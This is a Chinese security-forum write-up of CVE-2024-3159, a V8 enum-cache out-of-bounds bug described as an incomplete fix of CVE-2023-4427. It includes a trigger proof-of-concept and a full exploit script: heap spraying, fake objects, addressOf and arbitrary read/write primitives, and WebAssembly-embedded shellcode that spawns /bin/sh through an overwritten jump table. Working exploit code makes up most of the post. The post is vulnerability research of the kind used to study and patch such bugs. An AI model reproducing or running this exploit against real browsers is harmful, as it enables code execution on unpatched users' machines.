首页
社区
课程
招聘
[原创] CVE-2024-3159:Out-of-bounds access in ReduceJSLoadPropertyWithEnumeratedKey
2024-4-22 20:42 2222

[原创] CVE-2024-3159:Out-of-bounds access in ReduceJSLoadPropertyWithEnumeratedKey

2024-4-22 20:42
2222

前言

这个洞在今年的 Pwn2Own 上被利用,目前还没有公开报告。该漏洞可以说是 CVE-2023-4427 漏洞未正确修复,其原理和利用跟 CVE-2023-4427 没有本质区别,CVE-2023-4427 之前分析过,所以这里不作过多说明,仅仅做记录

环境搭建

最新的沙箱不会绕,所以找了个之前的版本

1
2
git checkout 1c623f9ff6e077be1c66f155485ea4005ddb6574
gclient sync -D

漏洞分析

在这里插入图片描述
可以看到这里对之前修复的 CVE-2023-4427 增加了一种情况:

  • {split_map}'s descriptors 存在 enum_cache 时,也要进行复制更新

则之前的修复遗漏了这种情况,这里也不多说了,参考 CVE-2023-4427 就行,毕竟这个漏洞就是 CVE-2023-4427 修复不完全导致的,这里直接看 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
const obj1 = {};
obj1.a = 1;
 
const obj2 = {};
obj2.a = 1;
obj2.b = 2;
 
const obj3 = {};
obj3.a = 1;
obj3.b = 2;
obj3.c = 3;
obj3.d = 4;
 
const obj4 = {};
obj4.a = 1;
obj4.b = 2;
obj4.c = 3;
obj4.e = 4;
 
// init enum cache
for (let key in obj2) {}
 
function trigger(callback) {
        for (let key in obj2) {
                callback();
                console.log(obj2[key]);
        }
}
 
%PrepareFunctionForOptimization(trigger);
trigger(_=>_);
trigger(_=>_);
%OptimizeFunctionOnNextCall(trigger);
trigger(_=>_);
 
trigger(
        _=>{
                obj4.c = 1.1;
                for (let i in obj1) {}
        }
);

输出如下:

1
2
3
4
5
6
7
8
9
$ ./d8 --allow-natives-syntax poc.js
1
2
1
2
1
2
1
undefined

大致原理如下:
在这里插入图片描述
这里可以出现一种情况,即 descriptor array0enum cache 不为空,而 descriptor array1enum cache 为空,那么当修改 obj4.c = 1.1 时,由于这里是从 Smi 变成了一个 double,所以并不是简单修改描述符数组,而是会为 obj4 创建一个新的 map,并沿着 map transition tree 进行修改,使其 descriptor array 保持一致。而此时 obj4 对应的描述符数组的 enum cache 为空,所以不会对新的描述符数组的 enum cache 进行更新,从而导致 obj2 对应的 enum cache 也为空。后面的情况跟 CVE-2023-4427 就是如出一辙了......

漏洞利用

针对此类漏洞,本来是可以泄漏 TheHole 的,但是高版本利用不了,所以这里还是只能写一个依赖特定版本的利用(使用硬编码......

简单糊了一个....

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
var buf = new ArrayBuffer(8);
var dv  = new DataView(buf);
var u8  = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;
 
function pair_u32_to_f64(l, h) {
        u32[0] = l;
        u32[1] = h;
        return f64[0];
}
 
function u64_to_f64(val) {
        u64[0] = val;
        return f64[0];
}
 
 
function f64_to_u64(val) {
        f64[0] = val;
        return u64[0];
}
 
function set_u64(val) {
        u64[0] = val;
}
 
function set_l(l) {
        u32[0] = l;
}
 
function set_h(h) {
        u32[1] = h;
}
 
function get_l() {
        return u32[0];
}
 
function get_h() {
        return u32[1];
}
 
function get_u64() {
        return u64[0];
}
 
function get_f64() {
        return f64[0];
}
 
function get_fl(val) {
        f64[0] = val;
        return u32[0];
}
 
function get_fh(val) {
        f64[0] = val;
        return u32[1];
}
 
function add_ref(obj) {
        roots[index++] = obj;
}
 
function major_gc() {
        new ArrayBuffer(0x7fe00000);
}
 
function minor_gc() {
        for (let i = 0; i < 8; i++) {
                add_ref(new ArrayBuffer(0x200000));
        }
        add_ref(new ArrayBuffer(8));
}
 
function hexx(str, val) {
        console.log(str+": 0x"+val.toString(16));
}
 
function sleep(ms) {
        return new Promise((resolve) => setTimeout(resolve, ms));
}
 
var spray_array = Array(0xf700);
var data_start_addr = 0x00442129+7;
var map_addr = data_start_addr + 0x1000;
var fake_object_addr = map_addr + 0x1000;
 
spray_array[(map_addr-data_start_addr) / 8] = u64_to_f64(0x2d04040400000061n);
//spray_array[(map_addr-data_start_addr) / 8] = pair_u32_to_f64(data_start_addr+0x200, 0x2d040404);
spray_array[(map_addr-data_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff11000842n);
spray_array[(fake_object_addr-data_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x219);
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(data_start_addr-1, 0x20);
 
var leak_object_array = new Array(0xf700).fill({});
var leak_object_element_addr = 0x004c2129;
 
//%DebugPrint(spray_array);
//%DebugPrint(leak_object_array);
//readline();
 
const object1 = {};
object1.a = 1;
 
const object2 = {};
object2.a = 2;
object2.b = 2;
 
//const N = pair_u32_to_f64(0x42424242, 0x42424242);
const N = pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1);
var fake_object_array = [
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
];
 
const object3 = {};
object3.a = 3;
object3.b = 3;
object3.c = 3;
object3.d = 3;
 
const object4 = {};
object4.a = 4;
object4.b = 4;
object4.c = 4;
object4.e = 4;
 
let fake_array;
for (let key in object2) {}
function trigger(callback) {
        for (let key in object2) {
                callback();
                fake_array = object2[key];
        }
}
 
//%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
//%OptimizeFunctionOnNextCall(trigger);
trigger(_ => _);
for (let i = 0; i < 0x10000; i++) {
        trigger(_ => _);
        trigger(_ => _);
        trigger(_ => _);
}
//%DebugPrint(object4);
//readline();
trigger(_ => {
//      print("callback");
        object4.c = 1.1;
        for (let key in object1) { }
//      %DebugPrint(object2);
//      readline();
});
 
//print(fake_array === %TheHole());
//%DebugPrint(fake_array);
 
function addressOf(obj) {
        spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(leak_object_element_addr, 0x20);
        leak_object_array[0] = obj;
        f64[0] = fake_array[0];
        return u32[0];
}
 
//var test = [1.1];
//hexx("test address", addressOf(test));
//%DebugPrint(test);
 
 
function arb_read_cage(addr) {
        spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
        return f64_to_u64(fake_array[0]);
}
 
function arb_write_half_cage(addr, val) {
        let orig_val = arb_read_cage(addr);
        fake_array[0] = pair_u32_to_f64(orig_val&0xffffffff, val);
}
 
function arb_write_full_cage(addr, val) {
        spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
        fake_array[0] = u64_to_f64(val);
}
 
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 8, 2, 96, 0, 1, 124, 96, 0, 0, 3, 3, 2, 0, 1, 7, 14, 2, 4, 109, 97, 105, 110, 0, 0, 3, 112, 119, 110, 0, 1, 10, 76, 2, 71, 0, 68, 104, 110, 47, 115, 104, 88, 235, 7, 68, 104, 47, 98, 105, 0, 91, 235, 7, 68, 72, 193, 224, 24, 144, 144, 235, 7, 68, 72, 1, 216, 72, 49, 219, 235, 7, 68, 80, 72, 137, 231, 49, 210, 235, 7, 68, 49, 246, 106, 59, 88, 144, 235, 7, 68, 15, 5, 144, 144, 144, 144, 235, 7, 26, 26, 26, 26, 26, 26, 11, 2, 0, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module, {});
var wmain = instance.exports.main;
for (let j = 0x0; j < 10000; j++) {
        wmain();
}
 
let instance_addr = addressOf(instance);
hexx("instance_addr", instance_addr);
let jump_table_addr = instance_addr + 0x50;
let rwx_addr = arb_read_cage(jump_table_addr);
hexx("rwx_addr", rwx_addr);
 
arb_write_full_cage(jump_table_addr, rwx_addr+0x71dn-5n);
var pwn = instance.exports.pwn;
pwn();
 
//%DebugPrint(instance);
//readline();

总结

之前看 CVE-2023-4427 的时候,感觉修复的是一点问题没有......还是菜

参考

https://chromium-review.googlesource.com/c/v8/v8/+/5401860/2/src/objects/map-updater.cc#1055
https://chromereleases.googleblog.com/2024/04/stable-channel-update-for-desktop.html


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2024-4-22 20:46 被XiaozaYa编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 19461
活跃值: (29125)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
秋狝 2024-4-23 14:38
2
1
感谢分享
游客
登录 | 注册 方可回帖
返回